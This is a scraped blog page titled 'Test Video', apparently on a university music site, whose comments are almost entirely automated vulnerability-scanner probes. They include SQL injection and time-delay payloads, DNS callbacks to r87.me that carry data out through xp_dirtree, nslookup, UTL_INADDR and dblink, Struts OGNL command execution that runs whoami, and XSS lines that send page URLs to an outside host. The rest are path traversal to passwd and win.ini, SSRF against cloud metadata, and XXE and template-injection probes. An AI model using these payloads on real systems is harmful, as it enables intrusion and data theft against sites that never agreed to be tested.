Test Video

10,512 Replies to “Test Video”

1. Hi, this is a comment.
   To get started with moderating, editing, and deleting comments, please visit the Comments screen in the dashboard.
   Commenter avatars come from Gravatar.

2. 3

3. 3

4. 3

5. 3

6. 3

7. 3

8. 1″ OR 1=1 OR “1”=”1

9. 3

10. 3

11. 3

12. http://example.com/?
    ns: netsparker056650=vuln

13. 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x–

14. 3

15. <!DOCTYPE ns []>&lfi;

16. 3

17. 3

18. 3

19. 3

21. 3

22. c:\windows\win.ini

23. /../../../../../../../../../../windows/iis6.log

24. /../../../../../../../../../../var/log/apache2/error.log

25. 3

26. 3

27. ::1/trace.axd

28. 127.100.11.2/elmah.axd

29. https://medievalmusic.ace.fordham.edu/elmah

30. 3

31. 3

32. 3

33. 3

34. 1′))exec(‘xp_dirtree ”\\idehs6telrsyoa7p31wckfor8897ghnuif8tzhav’+’rbg.r87.me’+’\c$\a”’)–

35. (select UTL_INADDR.GET_HOST_ADDRESS(‘idehs6telr8zb8y0n92zuqaz2-6rez1ywhlwfvou’||’cde.r87.me’) from DUAL)

36. 3

37. 3

38. 3

39. gethostbyname(trim(‘idehs6telrxeayuy_w91yrg5dssmygshp8hxflf1′.’d28.r87.me’))

40. +createobject(“WScript.Shell”).exec(“nslookup idehs6telr2akwu8mfj4xbdl-tm5tttcs3trtky2” & “bws.r87.me”).StdOut.ReadAll

41. 01527166732/trace.axd

42. 13.6090202/trace.axd

43. 3

44. 3

45. 3

46. 3

47. 3

48. http://r87.com/?medievalmusic.ace.fordham.edu/

49. http://r87.com/?medievalmusic.ace.fordham.edu/

50. https://r87.com/?medievalmusic.ace.fordham.edu/

51. https://r87.com/?medievalmusic.ace.fordham.edu/

52. //r87.com/?http://medievalmusic.ace.fordham.edu/

53. //r87.com/?http://medievalmusic.ace.fordham.edu/

54. r87.com/?medievalmusic.ace.fordham.edu/

55. r87.com/?medievalmusic.ace.fordham.edu/

56. r87.com/?http://medievalmusic.ace.fordham.edu/

57. r87.com/?http://medievalmusic.ace.fordham.edu/

58. r87.com/?https://medievalmusic.ace.fordham.edu/

59. r87.com/?https://medievalmusic.ace.fordham.edu/

60. /\r87.com/?medievalmusic.ace.fordham.edu/

61. /\r87.com/?medievalmusic.ace.fordham.edu/

62. ///r87.com/?medievalmusic.ace.fordham.edu/

63. ///r87.com/?medievalmusic.ace.fordham.edu/

65. medievalmusic.ace.fordham.edu.r87.com/?

66. medievalmusic.ace.fordham.edu.r87.com/?

67. http://medievalmusic.ace.fordham.edu.r87.com/?

68. http://medievalmusic.ace.fordham.edu.r87.com/?

69. https://medievalmusic.ace.fordham.edu.r87.com/?

70. https://medievalmusic.ace.fordham.edu.r87.com/?

71. 3

72. 3

73. 3

74. 1 OR 1=1

75. 3

76. 3

77. ${268409241-5}

78. ‘)) WAITFOR DELAY ‘0:0:25’–

79. 1)) WAITFOR DELAY ‘0:0:25’–

80. 3

81. arguments[1].end(require(‘child_process’).execSync(‘expr 268409241 – 22’))

82. ns../../../../../../../../../../../boot.ini…………………………………………………………………………………………………………………………………………………………………

83. 3

84. /../../../../../../../../../../../etc/passwd

85. netsparker(0x023BBF);

86. https://medievalmusic.ace.fordham.edu/elmah.axd

87. ‘;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//injyasgzg59hiyy-tyt_pxsibhlww9zih-xjlz8l”+”mdo.r87.me/r/?”+location.href;document.head.appendChild(l);//

88. 3

89. exec(‘xp_dirtree ”\\injyasgzg5nzv4qt-2edvc-th3nn7tnm5a5zgkgf’+’hcs.r87.me’+’\c$\a”’)

90. 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = ‘SELECT * FROM OPENROWSET(”SQLOLEDB”,”@”;”a”;”1”,”SELECT 1”)’SET @r=replace(@q,’@’,’injyasgzg5jwx0dn_eh2crahdekgj0u3ywe1ksaz’+’2sg.r87.me’)exec sp_executesql @r–

91. (select UTL_INADDR.GET_HOST_ADDRESS(chr(105)||chr(110)||chr(106)||chr(121)||chr(97)||chr(115)||chr(103)||chr(122)||chr(103)||chr(53)||chr(108)||chr(102)||chr(100)||chr(107)||chr(55)||chr(99)||chr(118)||chr(109)||chr(45)||chr(116)||chr(115)||chr(116)||chr(121)||chr(53)||chr(121)||chr(113)||chr(56)||chr(118)||chr(109)||chr(121)||chr(107)||chr(122)||chr(57)||chr(108)||chr(113)||chr(110)||chr(99)||chr(105)||chr(110)||chr(115)||chr(116)||chr(98)||chr(52)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL)

92. gethostbyname(trim(‘injyasgzg5kpcdqospg95thx7hlempb13cbgbcu7′.’vpg.r87.me’))

93. +createobject(“WScript.Shell”).exec(“nslookup injyasgzg5qhxxt9dk3kfgsqvkrgcgkuiwjiaaso” & “lfk.r87.me”).StdOut.ReadAll+

94. “& nslookup injyasgzg5llfflt3vx002gfb7btwk9f7cgbceef^t08.r87.me&’\”`0&nslookup injyasgzg5llfflt3vx002gfb7btwk9f7cgbceef^t08.r87.me&`’

95. “& nslookup injyasgzg5ozywhdtcncn1trmmbk_kupvjffaaw7^yy8.r87.me&’\”`0&nslookup injyasgzg5ozywhdtcncn1trmmbk_kupvjffaaw7^yy8.r87.me&`’

96. nslookup “injyasgzg5m_4beb0iwlkld8obswcimqdom4mosl””qtk.r87.me”

97. nslookup “injyasgzg5tvdgbcem3gsoxve5alfvlrwvdfgx2k””m8o.r87.me”

98. &nslookup “injyasgzg5fdtbqoyp9lfmpp23ucmhrwnqufotis””ytg.r87.me”

99. &nslookup “injyasgzg58d34by-fdigym9jhdulzscbknqrmzm””5da.r87.me”

100. ‘&nslookup “injyasgzg5dct334wmwmc0dkwzk-k_m8tbudsrdb””gr4.r87.me”

101. ‘&nslookup “injyasgzg5osasbrynh4uirnobcuonikvmmdbeay””wne.r87.me”

102. “&nslookup “injyasgzg5u4plpajrdb7ggeyizp5reshg39x-xd””kz4.r87.me”

103. “&nslookup “injyasgzg5wpiskflvcdhopasr0mrkgvcm4ztiek””cla.r87.me”

104. |nslookup${IFS}”injyasgzg5xiwp3ztjeccwhryumtze7qns4g_gu-“”viu.r87.me”

105. |nslookup${IFS}”injyasgzg56rgmg7mmvzx3abfzcxscbmcx08b0-r””lbu.r87.me”

106. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”injyasgzg59vjwqvp2br6cuk4aq-ss4p3skmp3jm””dxw.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

107. 3

108. 3

109. 3

110. “& SET /A 0xFFF9999-2 &

111. 3

112. 3

113. ‘||cast((select chr(95)||chr(33)||chr(64)||chr(53)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)) as numeric)||’

114. 1′;SELECT pg_sleep(25)–

115. ${28275*28275-(13)}

116. <!DOCTYPE ns []>&lfi;

117. print(int)0xFFF9999-22

118. print(int)0xFFF9999-22

119. /../../../../../../../../../../proc/self/fd/2.php

120. ‘>

121. 3

122. body{x:expression(netsparker(0x03B00A))}

123. 127.100.11.2/trace.axd

124. '+netsparker(0x03B019)+'

125. http://::1:22

126. http://::1:22

127. http://127.0.0.1:3306

128. http://127.0.0.1:3306

129. 1))exec(‘xp_dirtree ”\\tjnvmonnijpk0cp2wwk18jqm0m5xd0798x-vincr’+’7-i.r87.me’+’\c$\a”’)–

130. cast((SELECT dblink_connect(chr(104)||chr(111)||chr(115)||chr(116)||chr(61)||chr(116)||chr(106)||chr(110)||chr(118)||chr(109)||chr(111)||chr(110)||chr(110)||chr(105)||chr(106)||chr(107)||chr(105)||chr(109)||chr(111)||chr(114)||chr(103)||chr(119)||chr(103)||chr(113)||chr(107)||chr(115)||chr(121)||chr(102)||chr(57)||chr(108)||chr(110)||chr(105)||chr(97)||chr(122)||chr(99)||chr(106)||chr(122)||chr(112)||chr(54)||chr(104)||chr(53)||chr(113)||chr(122)||chr(98)||chr(122)||chr(57)||chr(108)||chr(109)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)||chr(32)||chr(117)||chr(115)||chr(101)||chr(114)||chr(61)||chr(97)||chr(32)||chr(112)||chr(97)||chr(115)||chr(115)||chr(119)||chr(111)||chr(114)||chr(100)||chr(61)||chr(97)||chr(32)||chr(99)||chr(111)||chr(110)||chr(110)||chr(101)||chr(99)||chr(116)||chr(95)||chr(116)||chr(105)||chr(109)||chr(101)||chr(111)||chr(117)||chr(116)||chr(61)||chr(50))) as numeric)

131. gethostbyname(trim(‘tjnvmonnijbwllhyy8apvx3zqneoiks8syhxa8aa’.’l0w.r87.me’))

132. +createobject(“WScript.Shell”).exec(“nslookup tjnvmonnijp1v2ctjrclmhpqxyrge0qmqrcfbzsm” & “lze.r87.me”).StdOut.ReadAll

133. ‘& nslookup tjnvmonnijlkj2z6kxauzgm27hbkbykhz2axdn-4^llm.r87.me&’\”`0&nslookup tjnvmonnijlkj2z6kxauzgm27hbkbykhz2axdn-4^llm.r87.me&`’

134. “& nslookup tjnvmonnijqq1y4nf4zkadzymbexlpeqkffmfl0c^wvc.r87.me&’\”`0&nslookup tjnvmonnijqq1y4nf4zkadzymbexlpeqkffmfl0c^wvc.r87.me&`’

135. “& nslookup tjnvmonnijoup14thm_eq_qtm2nwn_wdlgjdrewr^ils.r87.me&’\”`0&nslookup tjnvmonnijoup14thm_eq_qtm2nwn_wdlgjdrewr^ils.r87.me&`’

136. nslookup “tjnvmonnijg9puau9yokh3keianrums5go0iayc1″”fku.r87.me”

137. nslookup “tjnvmonnijhy_elzm2joiaupvlaqqmhz4p8jcjyw””bue.r87.me”

138. &nslookup “tjnvmonnijg4_mjqe_rzwztnv9xbpjd8wlazrbot””rik.r87.me”

139. &nslookup “tjnvmonnijxtn2kaiqwtonajq3r0zmuvtjzpzn81″”e2a.r87.me”

140. ‘&nslookup “tjnvmonnij83uiibkobtiy-fav1cm_3pvmdqshak””yam.r87.me”

141. ‘&nslookup “tjnvmonnijjjyqyit9c0mq2sr-djoz07yhpcpqkb””74o.r87.me”

142. “&nslookup “tjnvmonnijckkfcbv76v4r-ysfmwfnh3yygbd9fm””phk.r87.me”

143. “&nslookup “tjnvmonnijqn_bdg7hqb_0ptmdt5kyw-edr_unzy””-x0.r87.me”

144. |nslookup${IFS}”tjnvmonnijg65jpve0v6s61iiiwl_uu9gbiq1xrj””nhk.r87.me”

145. |nslookup${IFS}”tjnvmonnij4umac_t_rh1ijlsoexrg_s3zwee3mi””g4o.r87.me”

146. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”tjnvmonnijbkgj_irr3acv5rutgh98urxgaoflol””nzu.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

147. 3

148. 3

149. 3

150. “& SET /A 0xFFF9999-2 &

151. 3

152. (SELECT CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))

153. 3

154. 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)– 1

155. 1));DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x–

156. ${28275*28275-(13)}

157. -1″ or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))+”

158. 3

159. 3

160. 3

161. <!DOCTYPE r [ %dtd;]>&a;

162. ‘”–>netsparker(0x020AF2)

163. ‘;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//rzfpdhilruke-2iu5dfal6t7ybrapyzk8gn0q4cd”+”8m4.r87.me/r/?”+location.href;document.head.appendChild(l);//

164. medievalmusic.ace.fordham.edu/elmah

165. body{x:expression(netsparker(0x020B18))}

166. http://aws.r87.me/latest/meta-data/public-hostname

167. */netsparker(0x020B1B);/*

168. 3

169. 1′)exec(‘xp_dirtree ”\\rzfpdhilrug8unk5hm4urb7jkz8gglcfbkwxkgji’+’pzy.r87.me’+’\c$\a”’)–

170. (select UTL_INADDR.GET_HOST_ADDRESS(‘rzfpdhilrudaatkegrdaa1r878rrm-iumpmqur93’||’azk.r87.me’) from DUAL)

171. gethostbyname(trim(‘rzfpdhilrulryn94kq_u0ec-5ifr-aemy9w5bc0q’.’mnc.r87.me’))

172. eval(‘gethostbyname(lc ‘rzfpdhilruudblr9ensa3w06lp1pdqmkofc4-1f3′.’c_e.r87.me’)’)

173. |nslookup${IFS}”rzfpdhilru6wyy5_h3gfnky2bnxlm76e9oudntw8″”iy4.r87.me”

174. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”rzfpdhilrungf6bz2b-qp7o75ccnac4qd6pjxuk9″”yny.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

175. 3

176. 3

177. 3

178. 3

179. 3

180. | SET /A 0xFFF9999-2

181. 3

182. %27

183. %27

184. “+print localtime()*0+0xFFF9999-22+”

185. 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x–

186. arguments[1].end(require(‘child_process’).execSync(‘set /A 268409241 – 22’))

187. 1;DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x–

188. . . /. . /. . /. . /. . /. . /. . /. . /. . /. . /. . /etc/passwd

189. 1);DECLARE/**/@x/**/char(9);SET/**/@x=char(48)+char(58)+char(48)+char(58)+char(50)+char(53);WAITFOR/**/DELAY/**/@x–

190. data:;base64,JyI+PHNjcmlwdD5uZXRzcGFya2VyKDB4MDhBOTE4KTwvc2NyaXB0Pg==

191. 3

192. 3

193. n;ns:expression(netsparker(0x08A937));

194. 3

195. 3

196. ‘”@–>netsparker(0x08A94B)

197. exec(‘xp_dirtree ”\\bv9l86uf0suoeg96ij4ggndn1ng_g-skjzvetu6r’+’sfw.r87.me’+’\c$\a”’)

198. SELECT dblink_connect(‘host=bv9l86uf0saxcl3zj6ceib9nxbhdwowwjr0h8daw’||’onc.r87.me user=a password=a connect_timeout=2’)

199. gethostbyname(trim(‘bv9l86uf0slj4gjiu6ego3v3ppxqk-pzzc64zdfy’.’lu8.r87.me’))

200. gethostbyname(lc ‘bv9l86uf0sxc9osnyknp2jijssdkfkaslipt05qe’.’y7k.r87.me’)

201. “&nslookup “bv9l86uf0stgttvmc2l7pef-mgxgafsj17vdpxw4″”vho.r87.me”

202. |nslookup${IFS}”bv9l86uf0sqg8mnepo2vkhfyatrzlqexqlkk9fny””xqe.r87.me”

203. |nslookup${IFS}”bv9l86uf0sai6fb9qmcwwrkfadbmmyd-ztx9mufa””p3y.r87.me”

204. Moja strona www: Odzyskiwanie danych po formacie

205. 3

206. 3

207. 3

208. ‘

209. 3

210. 3

211. ‘) WAITFOR DELAY ‘0:0:25’–

212. http://r87.com/n

213. 3

214. 3

215. ((select sleep(25)))a– 1

216. #{28275*28275-(13)}

217. 3

218. 3

219. ((select sleep(25)))a– 1

220. #{28275*28275-(13)}

221. (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

222. 3

223. (select dbms_pipe.receive_message((chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97)),25) from dual)

224. 3

225. /../../../../../../../../../../var/log/apache/error.log

226. 3

227. -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

228. 3

229. /../../../../../../../../../../proc/version

230. -1 or 1=((SELECT 1 FROM (SELECT SLEEP(25))A))

231. qfidcizpahfgn0gpdaeni43jnp8y1h_xg3r1ng-1l4k.r87.me

232. 3

233. 3

234. 3

235. qfidcizpahcnvgahyt_x37uz1xanjxrtwwe3t7zl31k.r87.me

236. 3

237. ‘”–>

238. 3

239. 3

240. http://qfidcizpahobccuyiqpwsa1i6uuvhuee1cmloer27zz.r87.me/p/

241. 3

242. 1;DECLARE @q varchar(999),@r nvarchar(999)SET @q = ‘SELECT * FROM OPENROWSET(”SQLOLEDB”,”@”;”a”;”1”,”SELECT 1”)’SET @r=replace(@q,’@’,’qfidcizpah0wnls_lhuuuqza8lgic6khbpstfdeh’+’5p4.r87.me’)exec sp_executesql @r–

243. ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(113)||chr(102)||chr(105)||chr(100)||chr(99)||chr(105)||chr(122)||chr(112)||chr(97)||chr(104)||chr(113)||chr(103)||chr(115)||chr(103)||chr(108)||chr(101)||chr(113)||chr(55)||chr(57)||chr(101)||chr(114)||chr(103)||chr(113)||chr(116)||chr(115)||chr(95)||chr(112)||chr(100)||chr(109)||chr(111)||chr(120)||chr(122)||chr(111)||chr(120)||chr(116)||chr(99)||chr(98)||chr(110)||chr(111)||chr(104)||chr(121)||chr(114)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||’

244. https://medievalmusic.ace.fordham.edu/trace.axd

245. https://medievalmusic.ace.fordham.edu/trace.axd

246. gethostbyname(trim(‘qfidcizpahqtuiajdyosrmqm600lsiflh5dbo4im’.’bqm.r87.me’))

247. eval(‘gethostbyname(lc ‘qfidcizpahahc3irsc74ncl2hp8kte7n16ccfn-h’.’bzk.r87.me’)’)

248. 0x7f.1/trace.axd

249. https://medievalmusic.ace.fordham.edu/elmah

250. medievalmusic.ace.fordham.edu/elmah

251. 13.92.237.218/elmah

252. 13.92.237.218/elmah

253. 127.100.11.2/elmah

254. 127.100.11.2/elmah

255. ::1/elmah

256. ::1/elmah

257. 127.0.0.1/elmah

258. 127.0.0.1/elmah

259. http://aws.r87.me/latest/meta-data/public-hostname

260. http://169.254.169.254/latest/meta-data/public-hostname

261. http://169.254.169.254/latest/meta-data/public-hostname

262. http://127.0.0.1:22

263. http://127.0.0.1:22

264. http://13.92.237.218:22

265. http://13.92.237.218:22

266. http://13.92.237.218:3306

267. http://13.92.237.218:3306

268. http://::1:3306

269. http://::1:3306

270. https://medievalmusic.ace.fordham.edu/server-status

271. https://medievalmusic.ace.fordham.edu/server-status

272. 3

273. 3

274. 3

275. NS1NO

276. 3

277. (select convert(int,cast(0x5f21403264696c656d6d61 as varchar(8000))) from syscolumns)

278. 3

279. 1) WAITFOR DELAY ‘0:0:25’–

280. http://r87.com/n

281. ‘+print(int)0xFFF9999-22+’

282. {{268409241-5}}

283. 3

284. /../../../../../../../../../../windows/win.ini

285. {{268409241-5}}

286. 3

287. file:/windows/win.ini

288. ${268409241-5}

289. medievalmusic.ace.fordham.edu/trace.axd

290. 1 ns=netsparker(0x1C4DBB)

291. /../../../../../../../../../../proc/version.php

292. 3

293. 3

294. //r87.com/n/n.css?0x1C4DC4

295. 3

296. ‘”–>

297. 3

298. ns(0x1C4DD0)

299. “;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//7e4dabqs8tju_tm7jiveavbmpebepgjayze6zwu2″+”eim.r87.me/r/?”+location.href;document.head.appendChild(l);//

300. 3

301. ns(0x1C4DD1)

302. exec(‘xp_dirtree ”\\7e4dabqs8tcoxy8p76sbdhc5_bdytkaltjffdu6k’+’j3c.r87.me’+’\c$\a”’)

303. ‘;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//7e4dabqs8tajnc4eqcfcoimuu1ibzhtjnlgkyqqn”+”asm.r87.me/r/?”+location.href;document.head.appendChild(l);//

304. 3

305. n;ns:expression(netsparker(0x1C4DD4));

306. ‘;l=document.createElement(“link”);l.rel=”prefetch”;l.href=”//7e4dabqs8th2vsrjmuh49ygt9lm5holchhsfiud0″+”7r4.r87.me/r/?”+location.href;document.head.appendChild(l);//

307. n;ns:expression(netsparker(0x1C4DD5));

308. body{x:expression(netsparker(0x1C4DDD))}

309. gethostbyname(trim(‘7e4dabqs8tlsr5jcgfatfnzpwj6s9qhhgm2xm9kc’.’axy.r87.me’))

310. “+createobject(“WScript.Shell”).exec(“nslookup 7e4dabqs8tv7js0pgaznylsrjlfra6umrzacyktj” & “hhc.r87.me”).StdOut.ReadAll+”

311. “&nslookup “7e4dabqs8t1tiqt58c6hhgnz2h_qtmzsaqggb1wm””-kq.r87.me”

312. body{x:expression(netsparker(0x1C4DDE))}

313. “&nslookup “7e4dabqs8te0gpbpimcifqnl0uancpmjuf-t0blb””ssy.r87.me”

314. '+netsparker(0x1C4E7E)+'

315. |nslookup${IFS}”7e4dabqs8thltzotxh9qx8giczch-iiidnxsync_””oi0.r87.me”

316. ‘”@–>netsparker(0x1C4E7F)

317. |nslookup${IFS}”7e4dabqs8twl846qspc2skl820ysa5hrpzgar2vd””w9k.r87.me”

318. %22%2bnetsparker(0x1C4E9E)%2b%22

319. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”7e4dabqs8tbftw2yqzgoh7g6g8nu4oaaksk2nej3″”jli.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

320. //r87.com/?0x1C4EA7

321. 3

322. 3

323. 3

324. 3

325. 3

326. 3

327. 3

328. http://r87.com/n?.php

329. 3

330. 3

331. 3

332. php://filter//resource=http://r87.com/n?.php

333. print(int)0xFFF9999-22;

334. ‘ WAITFOR DELAY ‘0:0:25’–

335. NSFTW

336. ns:netsparker056650=vuln

337. ‘{${print(int)0xFFF9999-22}}’

338. ‘) WAITFOR DELAY ‘0:0:25’–

339. 1 procedure analyse(extractvalue(rand(),concat(0x3a,CONCAT(CHAR(95),CHAR(33),CHAR(64),CHAR(52),CHAR(100),CHAR(105),CHAR(108),CHAR(101),CHAR(109),CHAR(109),CHAR(97)))),1)– 1

340. ‘{${print(int)0xFFF9999-22}}’

341. ‘)) WAITFOR DELAY ‘0:0:25’–

342. (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

343. ns../../../../../../../../../../../boot.ini…………………………………………………………………………………………………………………………………………………………………

344. %{#context[“com.opensymphony.xwork2.dispatcher.HttpServletResponse”].addHeader(“a”,268409241-22)}

345. 1)) WAITFOR DELAY ‘0:0:25’–

346. (length(CTXSYS.DRITHSX.SN(user,(select chr(95)||chr(33)||chr(64)||chr(51)||chr(100)||chr(105)||chr(108)||chr(101)||chr(109)||chr(109)||chr(97) from DUAL))))

347. file:///etc/passwd

348. %{#context[“com.opensymphony.xwork2.dispatcher.HttpServletResponse”].addHeader(“a”,268409241-22)}

349. SELECT pg_sleep(25)–

350. n3tsp4rke2

351. “>

352. 3

353. 3

354. SELECT pg_sleep(25)–

355. 3

356. \’;netsparker(0x059673);///

357. 3

358. 3

359. \’;netsparker(0x059674);///

360. 3

361. ',netsparker(0x059675),'

362. 3

363. 3

364. 3

365. '+netsparker(0x05967C)+'

366. 3

367. ‘”@–>netsparker(0x0596B1)

368. 3

369. exec(‘xp_dirtree ”\\rps2fkkh9w-cnlvp2halih1e-g34-l1qwohvsmfo’+’d38.r87.me’+’\c$\a”’)

370. -1′;exec(‘xp_dirtree ”\\rps2fkkh9wf9kupk68oxliwxpnnez5ikgchwszly’+’qiu.r87.me’+’\c$\a”’)–

371. syscolumns WHERE 2>3;exec(‘xp_dirtree ”\\rps2fkkh9wr1gmn2vv6o_lrodvpazqmiikncg2pf’+’ck4.r87.me’+’\c$\a”’)–

372. dblink_connect(‘host=rps2fkkh9wb89iquoev_rccqwighpawpy630s5rc’||’6ng.r87.me user=a password=a connect_timeout=2’)

373. (length(CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(‘rps2fkkh9wdpc1bny2j_81dnkln7t-zuy1iawtu1’||’4qu.r87.me’) from DUAL))))

374. ‘||CTXSYS.DRITHSX.SN(user,(select UTL_INADDR.GET_HOST_ADDRESS(chr(114)||chr(112)||chr(115)||chr(50)||chr(102)||chr(107)||chr(107)||chr(104)||chr(57)||chr(119)||chr(53)||chr(109)||chr(107)||chr(95)||chr(108)||chr(104)||chr(119)||chr(110)||chr(120)||chr(121)||chr(105)||chr(99)||chr(103)||chr(98)||chr(106)||chr(121)||chr(110)||chr(117)||chr(111)||chr(51)||chr(49)||chr(98)||chr(104)||chr(102)||chr(121)||chr(101)||chr(106)||chr(100)||chr(50)||chr(104)||chr(111)||chr(55)||chr(115)||chr(46)||chr(114)||chr(56)||chr(55)||chr(46)||chr(109)||chr(101)) from DUAL))||’

375. medievalmusic.ace.fordham.edu/trace.axd

376. 13.92.237.218/trace.axd

377. 13.92.237.218/trace.axd

378. gethostbyname(trim(‘rps2fkkh9wbalflmcyjhotus-sd4v70atal1lcoj’.’pms.r87.me’))

379. ‘{${gethostbyname(trim(‘rps2fkkh9wddp6woxq4lflu8v1dflmpsjtyip42p’.’gz4.r87.me’))}}’

380. “+createobject(“WScript.Shell”).exec(“nslookup rps2fkkh9wsd-i4ny4vmcminaw56faqxb7rvqbyp” & “n7c.r87.me”).StdOut.ReadAll+”

381. 127.0.0.1/elmah.axd

382. “& nslookup rps2fkkh9wqavyethtk_6kyhunwfpx70wqte3byz^jfm.r87.me&’\”`0&nslookup rps2fkkh9wqavyethtk_6kyhunwfpx70wqte3byz^jfm.r87.me&`’

383. 127.0.0.1/elmah.axd

384. nslookup “rps2fkkh9wdjkcexfuzt8aeeszydqsvjzwsgit_1″”fzg.r87.me”

385. nslookup “rps2fkkh9w2h-jgqjeyybkkbowvoxvx_ar4zj6ty””2tu.r87.me”

386. &nslookup “rps2fkkh9wbc-pklssqjdarqmnekb1p7wb8buroy””lbe.r87.me”

387. &nslookup “rps2fkkh9wixs1cvjlspncupaep4czaljh0viv9y””c1i.r87.me”

388. ‘&nslookup “rps2fkkh9wdsnxp2vvnv-dn3irnsdpjxql7mjtyb””t30.r87.me”

389. ‘&nslookup “rps2fkkh9weh7-b9dl3y9jxqugmeptve7zvmibpw””myu.r87.me”

390. “&nslookup “rps2fkkh9wvxtfdkje9tw7gib8joxyepbxdtla2r””aa8.r87.me”

391. “&nslookup “rps2fkkh9wfmyyoi9iaqibztecyqybabjy5ohzst””4r4.r87.me”

392. |nslookup${IFS}”rps2fkkh9wegv9euejmhlal_0kqkz1q_9x2hfysr””yrs.r87.me”

393. |nslookup${IFS}”rps2fkkh9wasuamjup5f1rk3hznqre-g8uhpffqh””hj8.r87.me”

394. %{(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context[‘com.opensymphony.xwork2.ActionContext.container’]).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd=’nslookup `whoami`.”rps2fkkh9wxjfmeabsjhuii_plmn5mebhaevbcop””0t4.r87.me”‘).(#p=new java.lang.ProcessBuilder({‘/bin/bash’,’-c’,#cmd})).(#p.redirectErrorStream(true)).(#process=#p.start()).(@org.apache.commons.io.IOUtils@toString(#process.getInputStream()))}

395. 3

396. 3

397. 1 AND ‘NS=’ss

398. ‘& ping -n 25 127.0.0.1 &

399. 3

400. -1 OR 1=1)) AND NVL(ASCII(SUBSTR((SELECT 1 FROM DUAL),1,1)),0)>0

